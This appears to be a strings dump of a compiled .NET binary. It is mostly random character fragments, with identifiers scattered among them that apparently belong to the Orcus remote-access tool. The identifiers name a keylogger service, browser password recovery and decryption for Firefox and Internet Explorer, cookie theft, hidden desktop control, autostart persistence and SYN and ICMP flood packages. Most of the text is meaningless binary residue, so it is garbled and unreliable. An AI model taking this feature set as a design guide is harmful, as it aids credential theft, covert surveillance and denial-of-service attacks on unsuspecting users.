pjJOA
BuUx
WILC!
ey#q
>~>nZG
<T=
,^Ur
ExceptionSent
+/@O"] W]Y*
P8G8
.JF5
y,F\<
AbEnV
aH2
!
[k?E
oDG)G
AdminPasswordStatusToString
(zNe
{<_IZ
*s_&
Jl
o?Z`0G
w3V
M2\y7
DrHY
InpM
o6Xz
/-7p{
-zx"
0BX
v*CC
)9*W
,7(O
keyVal
`L,{xu
SHFILEINFO
Operations
RegistryValueMultiString
k
"q
-u
t
pHkA
WR/
/KWe
%(r
UnsafeStreamCodec
GetResponse
Wh>\
lD$A;="
HTCAPTION
~FB
-Z^i.
waveSource
t=wG
%eYR
B9#Z
ErYK
pNss[
;LpV
U#+1
DWMCOLORIZATIONCOLORCHANGED
p*rQG
^/F
get_Duration
O
z
`+hI
wRcG>
9@	G
X`<=M
wFU-
Q&~Y
Reverse
]9>V:
dwFillAttribute
EventLog
N wJY)
TJKQ
6FN\-?
_dbBytes
OvQ7
Je=T
wm<57
_actionLock
=	w_
rs+
z(6
/R\G
GETDLGCODE
/ayu
_chatSettings
GA==w
ClientPlugins
~F&y
|C_Z{
set_OsName
UjzD
W5*I[LE
BFl8
;vtJ'@
SoftwareInformation
set_UsedMemorySlots
Assembly
c]Yf
}%6X
}BBDj"
.Trl
5^K
<Tr
U`3*
T5c<Qp"(QAt
dataList
A7vMu
xhZ`
Z34
>F.z
1Iy
AssemblyCopyrightAttribute
zUK^
{q]f
4JX|
=iu#
lpProcessInformation
'G0J
6N^B(-"
@C/I
0vT6
W*Od
_"!oq
Dwzb
Fpt;
_lastFrame
K:*x
"rQ
^>b%kz+
SetWindowPos
wparam
dwDataLen
GetAudioDevice
GP|Sr
.ag<}Bx
[;#8
AppContext
8~b
5U8D
LogOff
b\qY/[
otgi
DeleteFile
LWKp
.Xy>"C-g$]
+pG~
j+GM
*IIJ
GY]tT
_session
.n>[M
get_ModifierKeys
Iabr
N+ ~
CryptDestroyHash
~)Nt
Ay&:t
set_NewProcesses
GetExactHandle
tSw(
FindWindow
5Es)
ChG
Sequence
HWND_TOPMOST
As
:A'l\
CurrentImage
timeLastUsed
FrFl*
fpj0-#
GetFreePushFileName
`HH-
E18x
+opju
l~ku
nSoW
Bf]p
(zcm
GetUrlHistory
Orcus.Shared.Commands.ActiveConnections
8(7KXy
|oYV
#V	z:
9[:a:z:
Wp*++r
Cg
44
^{)I
MethodInfo
S%&<
file
n!z-
VV]z|x
3$)B
SwitchTo
PF	e
MOUSEHOVER
c7sY
MZMM
pwcsTitle
|#nqbq
SetEthernetInformation
l8y/s
FwHg]7
field
!Y]aJN
QueryValue
CreateLink
?=5,
H^"/
LCa#d
{?^l?u
#j
D6@
MOUSEEVENTF_RIGHTDOWN
s(t7B
remove_ResponseBytes
InitializeComponent
$\Hz
add_Closed
's*s5
@%z2
get_Value
get_Topmost
%FLw~
Y kc
'(
i
RegisterWindowMessage
'lyJ
JN7
lpwTransKey
0BA=
6,4,:
MERGECOPY
-,5#|CjC
vS.P
.!N/'
=b|(
.?+C
9aR
A&]9
x3"s
oC2ErV
set_MonikerString
Sfn,
*QyM0L
rM*
BH,B\
"
/v
set_PasswordType
=JA^
<AiE6u
Ih
~
/v2
9H>Z
zup4J
N,?a`
XX?,_P
<Title>k__BackingField
6|6#
{
9#D
-COum<f
O@z'
.J#hl\
>Em=3
Orcus.Shared.Utilities.Compression
D"5"
^?iK
Fo86
uT`:
<6-g
.cctor
FT>\
p	Zkg
WS_MAXIMIZE
L43?
f/\z{
%z !
O{Yn<?
dAr
EP3-O
bB"o
EuMn
_Sjm
?
M
h*NC3
)pP(>
g8X)r
fj<!
Current_ExceptionsAvailable
m|xO
*\:s
ReadBytes
WindowsIdentity
0V2v0F
ENTERSIZEMOVE
Rua'<
GetHardwareInformation
I:w d
n1MK
=m@{&
Hold
bB"J
Nc9'Z
set_Volume
-y|dK
rm`(9
bU%,#
encoding
bTBbwp
Kernel32.dll
entryCount
Kill
CompositingQuality
TripleDESCryptoServiceProvider
UdpSockets
NfBb
;y[p
QUERYOPEN
L|-Od
CCTC
=26i
[=bq
h<-J_&Q
0Nd#@
F8,*
TaskActionType
u
5
_'~,
#(u<
UnicastIPAddressInformationCollection
`jfzV&K
R/4!q
ar2&
#2Hm
9pQ`
System.Reflection
GetTableNames
remove_StringDown
get_IsWorking
W++U
0hSZ~
m&Gx
2}
X
$;9O
e^5v
&b*!$|
Y'<+
dX#;
bQIDH
Ye
'`
7AM_
threads
b[h
get_Png
)B71
vr<B
:.b&a
KJ <JpZ@B
su;_
ToInt64
0?w9h
hH3I
yOezJo
"[[.=}
f#X3
.5{%l
Size
Is64BitOperatingSystem
uPSRXf
R}T
;
eWy5
Object
"7N7
& 'B'I'h'
SC_SCREENSAVE
(fH5
set_Source
>k(cP
HgHRn
L=Y"
0|!
R}L_^
 e66
IsSubclassOf
Orcus.Shared.Commands.Console
@`xGR
L`d{M%
@&6(
wH=
Z/
SystemPageSize
32+_
6#[k
<Image>k__BackingField
.7Zh
+,fk0
Qs@*
TaskManagerCommunication
WM_KEYDOWN
<ServerConnection>k__BackingField
>dtv
1XM
WINDOWINFO
o34
iM4z
a"!\
<>c__DisplayClass11_0
._n]!
NK2M
StyleHaveSizeBorders
u{iC
67j1
RegistryValueQWord
w4
Ds
dg %
SC_SEPARATOR
}~r0
rb'
):x*h?
{N^T
6<#w
(K~z-YgV
dkOQ
\4G= vr]:
3OBY
U
LT
set_ProductKey
*.s
get_OsName
5Xep
bR>3*e;
SYSTIMER
+s(
kKn{
/0Gs\
P0Q^Q
O]Y'
IC@%
IOrderedEnumerable`1
P]QSN2JkPM
H<0Ao
#=fir
b?_{
MMa_
CWB
_&Bc
>o`W
HoGJ
{3ab
%rW1
`|
0b
STATURLFLAG_ISTOPLEVEL
destination
r$	E
CA
.Q
Gc	"
4]Z+
set_HttpOnly
Expires
BW%t
NkA3
p8:q
GetWindowDC
=hy1$
3System.Resources.Tools.StronglyTypedResourceBuilder
lMEh
c4]'

Gn
p*rkG
Z4Y
GetData
ulOptions
System.Configuration.Install
m}Q<
CONTEXTMENU
d"6=3
%	fTr
T,srR~
Q?\1Gq
J!zE
$mtv)
w0F|oo
ReadMasterTable
0J&.]
W%"czW$
CAPTURECHANGED
R__H
fTr7U7
;:>KJc
3)OkR~
_listsLock
i
a8
s=5$
WS_DLGFRAME
-<?C
[)rL
hSV1
PO{J:lA
System.IO.Compression
#i;f
QAV-4
Kb}o+
7l/!
U(?V
)"S&
s@5
hdcSrc
System.Collections.IEnumerator.Reset
WM_SYSKEYDOWN
S;5tA
~1U]
'[uU
Orcus.Shared.Commands.Audio
XrLi
5na
,Y
TaskFolder
k:r
76ww
_client_Connected
KEYLAST
GetCurrentProcess
ERc<
LiveData
get_RemotePort
Bbn|im
LD2)q
* j~
Orcus.Commands.EventLog
4IR,
>K}|
\j#%}0
) M~O!
E
g#b
PFR:
[;C
5xY{
EGDy
hX|/
IqxQ<X
+[p|
c+y=
/w i
add_CommandLoaded
5BT]
ServerApiVersion
xMk
#O'c2
fx=9
CP{=L
H<Ux
s$T<"
i	+pI
Ol*5s
ncMessage
>Fn8w
es\'
ckV}
17(a
EntrySalt
I.4h
zvB-2
aN_#
ResolveAssembly
token
s~Ync
get_Millisecond
`iF+
NwqO
az{.
v<rG
f!2D
G\*GX*
k&?2
k&?1
"phEw
get_CurrentCulture
yUv'
n]jy7
KJzv=s
k&?=
wKs~
LJ|
+Ag
CP=r
*o_Hw
-dmo;
HIQZ(
n>n[
k&?/
CoreFtp
D;&l4
B%.Y@
9
pYe
HTVSCROLL
MassDownloadManager
RU#{{
lpTitle
e8j
n
[=B!
gR.r|I
HTMINBUTTON
WYw^
DeviceState
3AAg
<EndRead>b__2
>#*ugT
<EndRead>b__0
<EndRead>b__1
n:
n]bZ=v
c_1Q?
DSw.#<K
b [i
SC_TASKLIST
k&?{
I4"C
1<qd0q
pQn1fiJ
EBs	T
ExtractAssociatedIcon
f3`}
_keyboardHook_StringDown
]j#
4OZ"
lC}
:g*
g(v'V
TextToSpeechPackage
BnY\\
u7L}
aKcj.}
b+#
set_InstalledPrograms
KeyboardHook
$OTX
<AsyncOperation>k__BackingField
*+3N
SHGFI_SYSICONINDEX
<MessageReceived>b__0
ChangeComputerStateCommand
1YIZ'V
~n
1q|c
SelectVoice
k&?I
I<tA=
x]bs
,C,Tq"
`Zxub
set_RegistrySubKeys
3ysaH
ResponseError
R>fi
|{fk
Fields
_keyProcessing
Microsoft.Win32
KeyEventHandler
[BeN\
}R5
'232
3X+f
tNIyV
csv
n;7I
WU_-
r"OZ
)0Q<
@}*I
X;!G
yN	&FE
-
G
SecretKey
ZvkLx
<#Dgxy{
}:?9
QACL
<IsTaken>k__BackingField
IoD_
j%]^
ro:Gf
pJ(v
p	rd
$Vg5K
)!M
Vc#
7^2^4^
&%+MJV
H4:0
Lq9[
{/Nj
GetProcesses
]~u
ee~K=
&3%.
AdministrationId
KW[5
}sQ)
z-G
>ERo
\~=*
Objects
Y
wD
hitTest
k@Jw
oZ`Zh
GetDefaultAudioEndpoint
lMON
'#BOp2f:
TNhA
kB(ZR
KEPx
h\v^ +3;
Juh>
bUiQ
3Db\9&#
Wf3M
\FW/
\Vg*7K
_	"ET
1BK"
,VER
"7>s
[+rH
?=j^OY
a{NaI`
V^%
UserInteractionWelcomePackage
GKa.
mCm
5z?(S
G8qoR
Zz4V<wZ
oh}Lp
RegistryCommand
[/fw
row_id
sQ5*
dwProcessId
pszProvider
w#D)
U>"W
Ve	8
n g
YWf&
abBr
N@?0d
isDown
Q-&r*
4D0R3o
HJr=
r1YE
$Z_{
'K$i
s\5g
m7m
YG)7
+3!3
System.Collections.Generic.IEnumerator<System.String>.get_Current
a//H)
tAh`
b#zL
%`aF<
MozillaDecryptor
H/NaF
set_DriveType
T0TTTTTTTT,2,4TJTLT2LJ4*,*4TJ*2L**,,2*|%%
e:iB"
'm=
IPHostEntry
<Values>k__BackingField
IE3S
Port
GetMsvcrPath
ActiveWindowChangedEventArgs
ObjectIdentifier
xud
digitalProductId
HardwareInformation
,^g4
_L;M
Microsoft 2016
&n\a
7Cb5
M`)xE12
HookType
}T
GetInstanceNames
@Bm
y1Hg
^VLq
.U,UX
grWW
,
_yO<
&&-%
q~Wa
}h+?
|-q2
get_PacketSize
/j}G
Wy"[
root_num
c~lz
"B;*Ps
K<i]
!Oo`
H*gh=D
rOL
1v ]f
crm[
$A^#
O|u{`y
+sEkAR
;*U:
String
b&=E
{,{y
b3So[
`wp48
QBs
$2V!
|p6i
W?hP
UninstallProgramsCommunication
IConnectionInfo
=M
a
INITMENUPOPUP
set_SendProcesses
ResolveEventArgs
i-m\
x-tFw
sW[
target
<>c__DisplayClass0_2
builder
<>c__DisplayClass0_0
Orcus.Shared.Commands.ExceptionHandling
fuq~{aGUR
IsCancellationRequested
N}7y
gOeK3\6Vm
weCzSv
whU=
QiS"
VOO/
r7Sa
L_r$
8	<a
K<>C
mXgg3~
!lY[
R!#
kE"H
Create
?!sf
jzyU
AesCryptoServiceProvider
?M!/a
FbFK$c
hBT9
IbM/
:O0
<Go@C
%S"'
+;p|
set_AcceptsReturn
PackageCompression
RUQ
^&7~
/J+J
<GetSecurityEventLog>b__11_0
1;
xwv
P?SF
Ly_e
GetExceptionStackTrace
<>3__location
L8no<@
J~	FM
4TSD
2-i+.
|KzD0
oe+\
j	v	WH6
[131
)o
59
:0>z
hi*[
RecoverPasswords
Bzz9
}Hk^
k|"_
j;	C,
H>HE$2
Data3
_staturl
FjYm/j\
i]$`
wi/M
yqR|
P9m
OcWpy
#iJN
SC_MOUSEMENU
JnQK(O6\
GetStream
WczxZ
ZB@
Vb+d
gjz,=S1-
4@)w
1Ov
!>SO
,Q1'
Af(l
1&7kE(NK
Na5$K
Orcus.Commands.Passwords.Applications.Firefox
hNtOr
|eROCI@
add_SendMessage
cG.F
Y}PO
e]rQ,
8	t{:
,5D!
c&xN5
}#4-
)Amc'
4S,m
CommandSucceed
IJ97
IsConnected
j
y[
qpykyM
{V5
ZSKF
_msvcpDllPtr
GetProcessWindowStation
(&:n
h&j!
f'WL8
x6J3
6i
I
CTLCOLORSCROLLBAR
ZB
q`
v
w~?
vBNqe(
7
po5
g]&M-8Q
h$|E
Bb*.)
DirectSoundOut
^BY8
{0fv
IsAlive
q.#i~#
get_DeviceID
b}3
h
<Rectangle>k__BackingField
8ssp
n1_J
SbtD
GetDesktopWindow
J<Sh
gv>H
Z-7&
C/
mV`
SearchOption
IGNq
M^G>
kdOq
#a@
+.@!
X_a>p
\MyG&8
& r27
0=6{
`	C`
U[_hP(f
1auc
dmICMIntent
+tl#s
<ExecuteCommand>b__1
R{|V
+Dp)
IsChar
)Ui6
PerformanceCounter
'VL
.mk1&
*(0
<GetHardwareInformation>b__9
SpeechAge
|l6)J
#Tkw
CrxpcC<iH
GetFolderPath
*(,
CsQO
*(/
bi\
y:|P
8
th
List`1
Ya9',
n=
AssemblyFileVersionAttribute
r<H
DFh"
KeyDatabase
GetTempPath
y7^P
B.BYB
-G-
1/rn
JrDP
T8xO
+S)8p
rl'
0l%/
;0s.
System.Resources
\+{v
ieR(
>x(?
hzHE
set_UserDomainName
_rp@*;*
CodeCommunication
0gQ)
flags
rl
5
Nm
fTe<
AuthenticationException
Current_CommandLoaded
Ib.~
JmV
x
&$E
a)XA
-d{|
W!hb,fhjD
System.Collections.Generic.IEnumerable<Orcus.Shared.Commands.UninstallPrograms.UninstallableProgram>.GetEnumerator
cu]RJ
_LON|
<GetSoftwareInformation>b__10_0
[|!-
CompareMemCmp
EnumDesktopProc
<GetSoftwareInformation>b__10_1
set_X
MoveTo
iM}6m
HZ9\
uw'?
l[4me9f
JQ9T
dE~f
|>aq
Sm~0
R66R
&t?mB
r9
~$Ct
p/x4
+knt
}C$-
dkdh
)=WRqx
fInherit
ez%
3%
M9MG
OH%U\
get_RenderedWindow
UFS:
GYA|
.wPc?U
T5b9Q(
,@[]
DrawWindow
)u3-
whWlW
@D4=
d;f\2
&W~]
CPW
i"b7M
dwAttributes
@=\j
!58}U
*y	g
4G:}
Exit
C~;A+
46}&
{u}W
{A5j
q=/z?
#f9]ay<
Uu1.+
La<F4
NSSBase64_DecodeBufferPtr
LlY
"K;f<
\/:5
?Q[K
TTUH}
PasswordType
AW
~
H[2"g
[d&=Z
B5h_UK
$+896
?/no
WTj*
ExplorerUrlHistory
'My[
[10F
8\t
;[uU
j6aO2
k&J
QSystem.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
\6b>(
?t,J5
dmPelsHeight
aHF|~
ALG_SID_SHA1
TaskCollection
[9U@
KeyValuePair`2
SynFloodPackage
V8kL
(5f>n`
!
EpWj0
set_Field1
MIB_TCP_STATE_ESTAB
4!4X
vkCode
lK&H7
ConvertFromOrcusValueKind
|<8}
@foH
?5 h
ux8m
FxHG
AdministrationApiVersion
nD%2SR
\z3
EJ
L]HrF83B$I
>-t}
r/g
~E-
5@,'
pelHeight
<urlHistory>5__3
z.@z
n`K,
Yi)Ei
Int32
Xk}E
get_Success
3=\>N
gBw
!e'>#
a\vu1
EFfp8H
SHGetSpecialFolderPath
2*UJfZ
tB$n
mqSF
by&R9d
p*rQI
degrees
^*8e
}thF0
m{#<
GetParent
N9+i
]~?*
(,EL
UAo_
]ubOPK
Q<,!
nt=v
TIMECHANGE
kgh
|avr
fE
*.s[
2h[b5
*.sS
a|$p.
$6uj
packageCompression
Lh=2
*.sU
R(=jiWf
set_StandardErrorEncoding
5
d4
r'wa
eGEe
resourceMan
get_InnerText
{Ea#
J+"
lpEnvironment
vrP*
_hookHandleWinChange
*.s=
(Kc
n~b`cf}
^*r;/
DeleteObject
bh<WZ
I5tWUU
~Ot#
N'o"
7W.BOx
get_Minute
Y{.N
System.Drawing
costura.cscore.dll.zip
,V	S;
^Bu
LQe\
X1J^
UUC5y
/+M.*B
@R[LZ
Orcus.Shared.Csv
[4Mc
, yx
&5l&
]io>L
uLvA
aJqa*
GetProcessTitle
get_EventId
ibuj
CLIENTTAG
p*r]I
se1
Q
wF)Z
B9:"	G
get_OSVersion
lZl=
F!4G!
*Aei
%Mdd
[We
U
rL
set_AudioChannels
DebuggableAttribute
[f2m
get_OperationalStatus
get_EventID
,U('
4~8m
u|\*.
RegisterTaskDefinition
wU,I
6Z
Tv}D
$pSm
(((FQ
aWFJ
ScZ3
L*\b
 @80
S
2KJ
m
=d
RiGD
E}t-
Cast
,zb.>q
8JUtV
(?i'
IkS3eh
A	'6
Di	-
add_TextChanged
UploadInfo
j_1,
rI1
D_9!
DecryptIePassword
91\Y$
0
i
TM=
\2Z5P
~w(z
2G3IkZo
='6.
_proxyClients
HL$1
Ecbv
'&gM
c
EyOa{
)*\:-
R`	+
I"3}7
dXd2[
|}0wtj'
r@-PQ
V MP
,(
F(G&
-	Jzww
K20&
Monitor
<{F
Mutex
y}3q
rL866a
&x1
!; ;
?KrZ
UGB8e
@@,8
{%?R.
r49gWV
0
1A1S1
Orcus.Plugins.IConnectionInfo.get_ServerConnection
;9r>
B!+!
[Th}
MDIICONARRANGE
wpWJFg
Mqsqq
3}|+
q\/W
Bj
vG
assemblyName
ProcessInfo
t',C"
,(I
KeyLoggerService
cg/p
*IUq
1	AA
_deadKeys
ks%w
IcmpFloodPackage
E3[e
lpFileTime2
[j!0+
D
Xu
HJK
WRYf
,u	u
Select
}l0g
(StX
g6?"
v5Jo
oMz
set_ReleaseDate
JZG.
kbzq
0:c7h
EditorBrowsableState
AssemblyConfigurationAttribute
set_ConnectionInfo
b:p|
$$>X
3sGy
\"gH
;|#%
"}M0
*rm
}iv
:
4KWSO
~chK
IME_KEYLAST
LOo'
gaxf
ik_&
seconds
DeleteTask
:N~AW,
?c?MU
OQXa]
<\C
_w"
#9u7
D_Dq$
AsyncOperation
:t1<
&mV
BIfFG
U^$3
{T]B
Q__D
get_Cookies
tyy{{
%<]iyE
rI;
1ZP<
JsPZ
g!\;
usernameField
,	{"
`rmn
A4Wv
,	{%
X^v>
ue'N
aeY/	5t
AudioEndpointType
K,
WaitForInputIdle
EnumDesktopWindows
*r=
SecurityException
+A"a%
T-fM
RS\j
lpdwProcessId
Q{!U
[zKa
a3w-
WA@T?
V9VO
B$Mz
s(
NCXBUTTONDBLCLK
s,
_screenFactoryLock
get_KeyLog
q(<.
mI|@
BodE`
y::
s=
idProcess
_`V0
T=3
s3
NoTL,+
c?2
@C{
PK11_GetInternalKeySlotPtr
HD&p
}?KnaN
kVl9
ullAvailExtendedVirtual
Rijndael
s"!_
&KXq
SO%?
?3]YB9
S'n(
Ri@4d
t[LdhZ
hvncAction
{v&]1
get_Primary
]Ob@
Interlocked
get_Culture
fW/H
28["4
S#%.C
M 	9
XmlTextReader
**xA
zJ<C
%
}-
%
}.
Connection
OpenReadonlySubKey
ufDEQxy
W2:A
A9d-x
AM-+
?-4iu
uScanCode
%"8c9N
sL
CodeImage
%S.Iz
kq|n~*
sG
nDf$*
^T|6
Q:9V
rectangle
}@U,
Extract
sT
>WvAl
Oq7udzT%X
:A{c/C
reserved
*-bbZ
%/&~&
ipY$
<GetDesktopWindow>b__0
set_AsyncOperation
V6a[Y
dM@n
7:tG
t'K7W
get_WorkingSet64
L-KsW
3;q]
dwThreadId
vPfK
TCP_TABLE_OWNER_PID_CONNECTIONS
r?LD
w8'<
[bV@
}s(hJ>
GETMINMAXINFO
jXqCw
]e[
_lastIconImage
>p?z?
MKv
Z-	P
WebHeaderCollection
label1
bin4
Orcus.Commands.TaskManager
)=80
1c)J'4
Gy
(]br
*n(
label3
4tSs
F1_a
!b>;
<GetBiosInformation>b__4
IsUserAdministrator
collection
B!m!+
5	GZ
3b<q
?4G
UninstallButton_Click
g`nx3
d
>YV
9sy
SendLock
<yIrur 9
zx
U0
z].x
.uf
get_HasErrors
@bm`"
%Tj0
ApplicationOnIdle
n.pw
(Zc7
<ProcessCommand>b__0_5
'M1h
r./C
31j%
<ProcessCommand>b__0_0
1RYHk]
;~
;?;T;|;
n.pg
ckL"
InstallIfNotExist
RSmy
o'
s
G+A5
y+'0
ISoundOut
GetEntries
set_Y
^@[7
W"R:e
<SetProcessorInformation>b__2_1
VZ-?
!#3nu
QB$w
_livePerformance
T: V
0l?>
1]|\
k"}X
Z|Ai
G?$
zD[l(
e!I&B
z.@V}
8
B
YC
5O`,e'
=G	<
WM_LBUTTONUP
+,EK
S]]t/
.p7J#eQ.
image
#qXJ
wParam
ComInterfaceType
nScanCode
FW35
H3Jc
$n=l[
?]p
8a2
DmoMp3Decoder
CKs
}+$`-
<>3__registryKey
set_ConnectionType
HSCROLL
BLACKNESS
FileContent
BvAw0FI
tgASV
vMq?
ToLowerInvariant
/(8!
U2''
Ivw0
Debugger
INSTALLSERVICE
"5!&
xL|X
NCMOUSEMOVE
X9M1
`kLk
Y*Os
&- \t
fZ9-9
)a/%jE8
IsNullOrWhiteSpace
C*|A
VirtualKeyCode
_keyboardHookHandle
UCGRao?&
N23`?
>i"pc
<RemoveFromAutostart>b__3_0
7lx*
ih32aAZ
+
Hide
p\W
$]C"
set_Width
ManagedInstallerClass
,N
+/
z:3&~
K}:NW
@{
dvlR
set_IsHandled
Nh)i.e
i`(e
MIN_ALL
aD>k3
y/XQ
9r+N
CreateEncryptor
)^g~%0
JU/\c1
dwProvType
]}I!E
19gt
2Dp*
B?*.w
<IsInstalled>k__BackingField
u5)a
BG%t
+B
vJBn
ActiveWindowChanged
get_Ticks
bsc[
ArgumentNullException
get_PreventClose
System.Speech
get_Major
Orcus.Service.Native
?RRW
GetPhysicalAddress
set_PersistKeyInCsp
+X
2	{j
e)`Km
wtZ!
X.Qr
ge ?8
Tk,L
Orcus.StaticCommands
S/V]
zq#Y
+h
}_H"?
count
m$+m
;6!d
VA_t
WKR?
)0vu
v2.0.50727
B\lx
Nb4,'A
<GetFormattedKeyValues>b__0
VnvIfv
oJD4
iII]
g[34#M4
ALG_CLASS_HASH
System.Collections.Generic.IEnumerable<Orcus.Shared.Commands.Password.RecoveredPassword>.GetEnumerator
?"\L
KQte
A+<F
gl!G2}}
^=f/
uZ]
e=`R
get_Passwordcheck
O-BU
=/=Pp
~:hf
s"
@9
[N2U
D9);
LH>4
get_Default
A#gq
!=3+
dataToParse
X{|O
tZ&!
o`8ay
hexString
yWPC
eoCw
L^x7
l,v^
get_Lenght
9z'Y\)
:hF
zyS=
URL_ESCAPE_SPACES_ONLY
x6TW0
O>1bh
'[H8
txKt
op_Division
Y$FT
8co&
F>&6
duration
10g
~
Wu-<
|9+p
Activate
.Y
zkQ0y
VwR{K
|D>*
\hR
m5if
/Acp
wH$N
EnableVisualStyles
<W_6\
RegistryValueExpandString
)$$I
WriteObject
(~Lq
N]a/^
op3{
bb\@
<Main>b__12_2
Flush
p0e,P
}V!?
)!L
get_Connected
GetEnumerator
e_%S
(fiT
<GetEntries>d__2
~8/r
2R;/
u+3$
Z	uso
+7K(0f(
H3i!
MessageBoxButtons
YLYe
2~!/
JuZ`7
System.Timers
:q-5
4j[Mlp
xo/^8
1ye;
8Orcus.Shared.Commands.Registry.RegistryValueExpandString
_#Fx
7#97
<RegistryHive>k__BackingField
#y+`
:@d>:B
A7z
s
br_!
CzQe
9ZBezVc8
iv&;
oa]G00
TCP_TABLE_CLASS
tT|iI	i
&pMg
\"-/ER
(^iR
RJ\t
get_DocumentElement
ToUInt64
mD7n
l3S7
B@tZ[a
FileSystemInfo
9cf'
KtP%I"[
`/rE
=W\o
Qp=x
q(ad
CS$<>8__locals1
Orcus.Shared.Commands.ComputerInformation
StopConnect
Pi+M*
aw
>~
cBmdN
<password>5__1
ReportError
VTTw
/0au
mD7J
+j@2
z*/jOSr
vr%R
;[\#r
=0S,
\/&VT+?
get_LocalEndPoint
pU	W
8[kV
aQK^
FileExplorerShortcut
text
Application_ApplicationExit
LoFf
Rg=b
zsT
Tp^,rp0r
67I6
%nc6
&	ot
9|~Y%
clWU
_
l%
}>Ui{UU
LFE1Q
eJR8v
V%4iF
}[Aj
ResponseBytes
set_ErrorType
masterPassword
cf<)`
3^&t)
_logFile
S.]?
get_FrameworkVersion
""{h
19H^
S5yi
}z*X
nTeD
Mu
CUz
a"@L
HN*
cER1
x%+<@X
:#k,
:d!t
c
@/
qjg3
WkJj^3
`"dt
`#pgb
JN7SJ
get_InstalledUICulture
4I"!X|S
xy99
sIzL
XK(B
defaultDevice
<
Wk
GetWindows
j0>S
S.OA
SysCommands
<>9__5_0
:E]Z|
Microsoft.Win32.TaskScheduler
AudioEndpointVolume
LTF^5]
{6[[o
:eAJ
set_Cookies
PAINTCLIPBOARD
YR?X
m{8b
5ZbG
mu.i
NCLBUTTONUP
qh
]zy~i)W
-
	oY
~^Z7
lfr*
CaptureCursor
U$"J
#")D
TuO"
xxx`
udpData
zEZ
l,Pm51
UZpeG
PROCESS_INFORMATION
TransformFinalBlock
cl",
$<90
hOq
\"4~I
}Q;e
 kL
set_Font
^G/.
pl;
<%[K#xJV
IComparer
wuzR
|s)<
r[5rG
R:D)
6>"6
J0lGCo{/
sK3]
j&H5#
[1oq
A.L<
5!^5
<AppContext>k__BackingField
82vL
r1Ev
F[*s
Z!]8%W
xl4J
S`>|
Yb=(C
;g7
X_6p
p)CR
FromHandle
p<"=%oM#
&}H_
<Yn
IR<9
E985
"L}*F
hsx1
z@$q
UvH<
*mLZ~ 5
mv5r
_urlHistoryList
Ak_y
V@G
*'iZ5G
@Te!5
+-e(
FZlH
LpI
PCGH
INPUT
_
+O
PALETTEISCHANGING
n"!.
j%j
"eGu
,^G9
r{_k
=sxp
>>T&
<Type>k__BackingField
_#\Z
4sQp
K/o_Z
:629q
json
hObjectSource
cFeJ
(=[q
UninstallProgramsCommand
p%34
gz*+
RXwi
J!M	iRHWB
k,J\
&%,GQ
SYNCPAINT
oV:K
#
R3
Count
nMaxCount
_(fz
14.0.0.0
oyY
SpecialKey
r :m
"L"t
Hz}s
9	+y
0zJ0
AForge.Video.DirectShow
L>SoJ
value
Bitmap
windowTitle
%Z[:
>i>"
DriveInfo
%x9d
#
(2
CsvWriter
^d&m
|p2@
UH;!
ClientActionCommand
!lUo
z:E
fy?Y
!gBz}
@5u3
}z
v
mzx
S=1|
get_IsInstalled
<P4X
IProxyClient
~g*d
:P(
GetVistaStartMenuWnd
x?x6
mouse_event
S1ePt
,Zc^
'_rM
W-O
dKy<od
8m`=
cGcxk
Fau6
&3yq
!m-_g
iUSZK
GetInformation
DDmS"
BU%T
d2O>
PENWINFIRST
$>2i
R
>#
d[jb
EE6001A9EFFBC3E336D7A05124DA53EF8D648CE1
7N1
F
_5yO1
SHGFI_TYPENAME
Degrees270
get_Exception
"L%
MvERU\
`Q^u
sI)v%
yg>U
I&Ki
@rmo
set_SelectionStart
r{*_
{]0:
ev^X
get_Source
3Kvo/
?7l~U
xt6K
eiM3
WriteRecord
_E,A|NT
^v1n_m)
UFt)
wjOW
!"D*
%B[l
Bt?B
]<V~u
get_IsAttached
U#$>F
v,h
]jiK[
}OO)c7
o
&Qox
pd5f
qhd#
`COr
5i
g
VMW_EXECUTE_MENU
606O6
}c}w
h{Q# 7v|t
)1J]
!Je(K	{
mpX
(F
P
get_FileDescription
y#	D
N,"a
get_Guid
gRsn
pr%R
>
4i
Tu\~z
<I#x
yeT}
51
Jb
Thread
I}Fg>
SslStream
dwRop
v!-`o
@g'?
|TBw
\j[u
VH{H
(q~	"
4#4#z
9xMA
Orcus.Commands.ActiveConnections
NE-x
FromFile
b[fnB&
sLwf
STATURL_QUERYFLAGS
`pw6
`#
%VZ~
=](a
cLdp-#B
SHA1CryptoServiceProvider
2&O)
WQTM
set_EthernetAdapters
pP w
+b}.h)W\
RIKP
get_CurrentThread
get_UserInteractive
EventLogEntry
8s	p
SetAttributes
%$	=
m l$
set_IsConnected
MW1j
cjOrB0
RsQO
ReadAllText
|C5c
{;uXXe
jx
%-
(=-|
ZiJgk
Q]NkT
set_IsPrimary
~"k-
IU6I{
CommandCollection
o/r_A
GetIPProperties
SMTO_NORMAL
&XTO
v2|Jy
Orcus.Service.exe
p.a_
]7O7
5K!,
ManagementClass
2i^/
F7; Z
[qbYqF
gbY[n
{`D=
w~)Pe
M
~d^
<A3L
Vn`%
zm8]!
K[\]
J8cf
host
`-
V
=&e
?bk}uJ
?hnH(
z}/X
-%jX#\
[pvY
fHm.
get_GlobalSalt
u*[o
WS_MAXIMIZEBOX
4
Ch
q.(Dj
zzH8G
URO<Y!
]i^Y
SRCAND
*.8'7
{2Qe
gmu~&
!rA+	PC
TC?m&s~2
Orcus.Connection
95s,G
&8<
Cqmg
ZEgZ
nZXH
get_ChildNodes
UCnEeR
qCgRn_
|n:u&
I5QL
ii4X
>H>[r
{uW_p
Fu)>K9
dataMode
]\l@
NV}?X>
.s\A)~}
b:zU
(0tZB
Im})
~|Xk
DTnE
GWL_STYLE
\<.
@L%Q
Yiq=
set_RuntimeVersion
3/Y
Zz;1
3P3h4
ClientOnConnected
1NTN
8N)P
Mouse
)DN
vB40
B^0%
$@9?
GETOBJECT
b8}]
&8f
,4(
TaskmanagerCommand
G
SymmetricAlgorithm
0;dq
<>c__DisplayClass14_1
Serializer
9|3F
S|%=U
Compare
+YK.
|2qI
&8Q
get_VolumeLabel
ServerPackageType
Y[#(u<
(!?7
Notify
f*;Gf
+
X>V&
\dxoaj
ApplyWindowInformation
GetDesktops
wHge
GetFrameworkVersion
x_w?
)<\N
SRCPAINT
;
;?'
?P*1I
WriteLine
nD~o
p6'c
l^;4
!5agu
18u
p1?
v9
J
Ghk1
L:hU3<R
uSan
_C]k=u
giN|4
.A(s
~~R'
$cY\k
}!Zc
FT
|
~l[d5
ipEndPoint
}0kM
|
m4
${kx
=cL3P
